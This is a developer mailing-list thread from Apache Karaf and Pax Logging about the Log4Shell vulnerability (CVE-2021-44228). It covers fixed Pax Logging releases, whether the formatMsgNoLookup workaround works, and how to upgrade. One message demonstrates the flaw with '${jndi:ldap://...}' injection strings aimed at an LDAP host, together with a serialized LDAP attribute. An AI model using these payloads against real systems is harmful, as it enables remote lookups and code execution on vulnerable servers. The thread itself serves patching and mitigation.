Hi,
you can upgrade to Karaf 4.3.4 (vote will start in a hour or so).
It will include Pax Logging 2.0.11.
If you can't wait, then, you have to create your own distro (mimic what
we do at Karaf).
Regards
JB
On 13/12/2021 13:10, Steven Huypens wrote:
Hi Grzegorz,
Thanks, that's clear now.
Another question: what is the simplest way of upgrading pax logging to
2.0.11 in my current Karaf 4.3.2 distro ? Should I blacklist the 2.0.9
dependencies and add the 2.0.11 ones to my features.xml, or is there a
better option ?
Kind regards,
Steven
On Mon, Dec 13, 2021 at 11:57 AM Grzegorz Grzybek <gr.grzy...@gmail.com>
wrote:
Hello
The multiple export trick/hack/improvement/convenience is to make it easier
to upgrade pax logging itself without affecting the OSGi users.
Pax Logging *has to* export Log4j2 packages at version of the ONLY Log4j2
library it uses (private-packages + re-exports), but it also declares that
the exports match earlier versions.
So if your application has:
Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"
Just because it was built by maven-bundle-plugin that for some reasons used
more strict version range policy, the multiple versions exported by Pax
Logging bundles won't break your application.
It's a way of telling - if you're using our API at given version, we
provide compatible interfaces. But the underlying implementation is (for
pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).
regards
Grzegorz Grzybek
pon., 13 gru 2021 o 11:42 Steven Huypens <steven.huyp...@gmail.com>
napisał(a):
Hi all,
We are using pax logging 2.0.9, but I can see it exports log4j2 packages
for different versions: 2.9.1, 2.13.3 & 2.14.1
Since one of those versions is not higher than 2.10, it's not clear to me
if the system property log4j.formatMsgNoLookup will fix the issue for our
application. Anyone knows ?
Kind regards,
Steven
On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels <e...@zusammenkunft.net
wrote:
I am currently working on a description for a work around (specifying
the
system property) but I can’t get it to work.
It still expands ${java:version}. I checked that it shows with
“system:property log4j.formatMsgNoLookup” true and there seems to be no
%m{lookup} setting.
I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
version newer than 2.10).
Any idea?
Is it possible that the shaded pax-logging-log4j does not honor the
system
property of log4j?
--
https://bernd.eckenfels.net
________________________________
From: Grzegorz Grzybek <gr.grzy...@gmail.com>
Sent: Friday, December 10, 2021 1:43:00 PM
To: dev@karaf.apache.org <dev@karaf.apache.org>
Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
released
Hello
Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes
it
in
details.
I was a bit surprised too - I knew about e.g., `${java:version}` if you
used it in pattern layout configuration - I didn't expect Log4j2 to
interpolate the messages passed to log() methods as well!
But you can try (in Karaf):
karaf@root()> log:log 'xxx ${java:version} xxx'
And you'll see (in the logs):
2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
xxx
Java version 1.8.0_312 xxx
so a message has been interpolated.
What's worse, I could add an entry to my OpenLDAP with:
javaClassName: java.lang.String
javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
And then:
karaf@root()> log:log '${jndi:ldap://
10.39.192.99/cn=boom,dc=k8s,dc=forest
}'
gave me this in logs:
2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
10.39.192.99/cn=boom,dc=k8s,dc=forest}
<http://10.39.192.99/cn=boom,dc=k8s,dc=forest%7D>'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
http://localhost/attack
"http://localhost/attack"; is the deserialized value from
"rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
While you can't use "javaCodeBase" LDAP attribute to point to malicius
URL
code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
property that defaults to "false" since 2009), you still have a remote
request being performed when logging messages with ${jndi:ldap://
example.com
}.
regards
Grzegorz Grzybek
pt., 10 gru 2021 o 13:28 Bernd Eckenfels <e...@zusammenkunft.net>
napisał(a):
Hello Grzegorz,
Thanks a lot for the super quick reaction.
I was rather confused to see that log messages can trigger a JNDI
lookup
anyway. Do you think there should be hardened something here?
Do you know if that is triggered by malicious log config or by
malicious
log messages and does it only affect systems where the JMSAppender is
actually used?
Gruss
Bernd
--
http://bernd.eckenfels.net
________________________________
Von: Grzegorz Grzybek <gr.grzy...@gmail.com>
Gesendet: Friday, December 10, 2021 12:20:02 PM
An: ops4j-announcem...@googlegroups.com <
ops4j-announcem...@googlegroups.com>; Karaf Dev <
dev@karaf.apache.org
;
d...@felix.apache.org <d...@felix.apache.org>
Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
released
Hello
Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
fix.
*Log4j2 has been updated to version 2.15.0.*
The changelog is available at GitHub:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
kind regards
Grzegorz Grzybek
